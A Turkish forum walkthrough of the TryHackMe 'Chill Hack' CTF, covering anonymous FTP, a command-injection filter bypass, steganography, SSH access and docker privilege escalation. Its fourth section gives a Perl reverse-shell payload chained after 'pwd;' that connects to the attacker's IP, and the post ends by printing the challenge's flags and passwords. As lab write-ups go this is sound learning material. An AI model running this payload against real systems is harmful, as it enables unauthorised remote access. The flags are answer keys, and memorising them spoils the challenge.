Merhaba değerli Turkhackteam kullanıcıları
bu konumda Tryhackme de yer alan Chill Hack adlı
CTF i çözeceğiz konumuza başlayalım
CTF Linki:TryHackMe
Seviye
1)Port Taramaİşleme her zamanki gibi nmap taraması yaparak başlıyorum.
Verbose işlemi
Gördüğünüz gibi 21, 22 ve 80 portları açık durumda ve 21 portunda FTP, 22 portunda SSH, 80 portunda HTTP hizmeti bulunuyor.
2)FTP Keşfi
Yukarıdaki nmap taramasında bunu görmüştük
21 portuna baktığımızda “ftp-anon: Anonymous FTP login allowed” ifadesiyle karşılaşıyoruz
Name kısmına anonymous, Password kısmına bir şey yazmadan enter’a basın giriş sağlanır.
FTP’ deki dosyaları keşfedip ve kaliye aktaralım.
Kaliye dönelim ve note.txt dosyasına bakalım
Anurodh ve Apaar kullanıcı adı olabilir bunları not alalım lazım olabilir.
21 portuna baktığımızda “ftp-anon: Anonymous FTP login allowed” ifadesiyle karşılaşıyoruz
Name kısmına anonymous, Password kısmına bir şey yazmadan enter’a basın giriş sağlanır.
FTP’ deki dosyaları keşfedip ve kaliye aktaralım.
Kaliye dönelim ve note.txt dosyasına bakalım
Anurodh ve Apaar kullanıcı adı olabilir bunları not alalım lazım olabilir.
3)HTTP Keşfi
80 portunun açık olduğunu ve HTTP protokolünün çalıştığını ilk başta nmpa taramasında öğrenmiştik.
Karşımıza böyle bir site geliyor bi dizin taraması yapalım ben gobuster kullandım siz isterseniz dirb, dirbuster, dirsearch vb. toollarda kullanılabilirsiniz.
Ben diğer dizinleri kontrol ettim bişey çıkmadı ama /secret dizinine baktığımız zaman karşımıza komut yazma sayfasının çıktığını görüyoruz.
PWD komutu ile hangi dizinde olduğumuza bakalım
şimdi birde bulunduğumuz dizinde neler var ona bakalım.
ls -la komutunu girince bize bir uyarı verdi
pwd;ls -la komutuyla pwd komutunu ardından ls -la komutunu çalıştırdık. Bu kullanım sayesinde filtrelenen komutları kullanabiliyoruz.
4)Command Injection ile Reverse Shell Alma
Tarayıcımızda reverse shell payloads yazıp aratalım ve ilk siteye girelim.
Kod:
pwd;perl -e 'use Socket;$i="VpnİP";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=6][B][CENTER][SIZE=6][B][CENTER]
Bu komutu sitede kullanmadan önce 4242 portunu dinlemeye almamız lazım.
Yukardaki komutu yazınca reserve shell alma işlemi başarılı oldu
Apaar kullanıcısı .helpline.sh dosyasını sudo olarak çalıştırabiliyor.
ls -la komutu yazdık işe yarar bi sonuç çıkmadı
Üst dizinlere bakalım ve işe yarar dosyalar var mı bulmaya çalışalım.
/www dizininde files adlı bir dizin bulduk. İçerisine girelim.
images dizinine göz atalım.
Bir adet gif ve resim dosyası bulduk.
jpg dosyasını kaliye aktaralım resimin içerisinde herhangi bir dosya veya metin gömülü olup olmadığına bakalım.
dinlemeye aldıktan sonra yukardaki resimde en alttaki sarı işaretle işaretlediğim kodu reserve shell oturumda çalıştıralım
yukardaki kodları kullanalım
Dosyanın içerisinde herhangi bir şeyin gömülüp gömülmediğini öğrenmek için Steghide toolunu kullanacağız.
steghide toolunda ilk olarak gizlenen dosyaları çıkarmak için extract parametresini kullanacağız.
Kod:
steghide extract -sf hacker-with-laptop_23–2147985341.jpg
backup.zip dosyasını çıkarmayı başardık.
unzip komutu ile backup.zip’in içerisindeki dosyayı çıkarmak için, zip’in parolası soruluyor.
Pass1word
Dosyayı çıkartmayı başardık. Dosyanın içini okuyalım.
Anurodh kullanıcısının parolası base64 formatında paylaşılmış
Tarayıcımızda “base64 decrypt” i aratalım ve ilk siteye girelim.
Anurodh kullanıcısının parolasını bulduk.
(!d0ntKn0wmYp@ssw0rd)
Anurodh kullanıcısının bilgilerini bulduğumuza göre SSH bağlantısı yapalım ve flaglara ulaşmaya başlayalım.
5)SSH Bağlantısı ve Flag İşlemleri
Kod:
ssh anurodh@makineip
bağlantımızı sağladık
burada işe yarar bişey çıkmadığını farkediyoruz sudo -l komutuyla
Anurodh kullanıcısında iken yetki yükseltmeye çalışalım.
apaar kullanıcısının parolasını bilmediğimiz için .helpline.sh dosyasını kullanamayız.
Diğer bir yol olarak SUID dosyalara bakalım.
Tarayıcımızda “linux find suid files privilege escalation” ifadesini aratalım ve ilk siteye girelim.
Komutu SSH bağlantısında çalıştıralım.
komutumuzu yazdıktan sonra id komutunu kullanın
Anurodh kullanıcısının docker grubunun içinde olduğunu görüceksiniz.
GFTOBINS’te docker’ ı aratalım ve komutları uygulayalım.
yukarıda ben Shell komutunu uyguladım.
Evet, Yetki Yükseltme işlemi tamamlandı artık flagları bulabiliriz.
user flagı bulduk
{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}
sıra root flagını bulmaya
Anurodh kullanıcı dizininde bir şey bulamamıştık birde Apaar kullanıcısının dizinine bakalım.
root flagımızıda bulduk
{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}
Buraya kadar okuduysanız teşekkür ederim
Umarım güzel ve anlaşılır bir şekilde çözmüşümdür.
Bir sonraki konumda görüşmek üzere
iyi forumlar dilerim...
"Keskin Feraset ,
~Keramete Nal Toplatır.~
~ GökBörü ~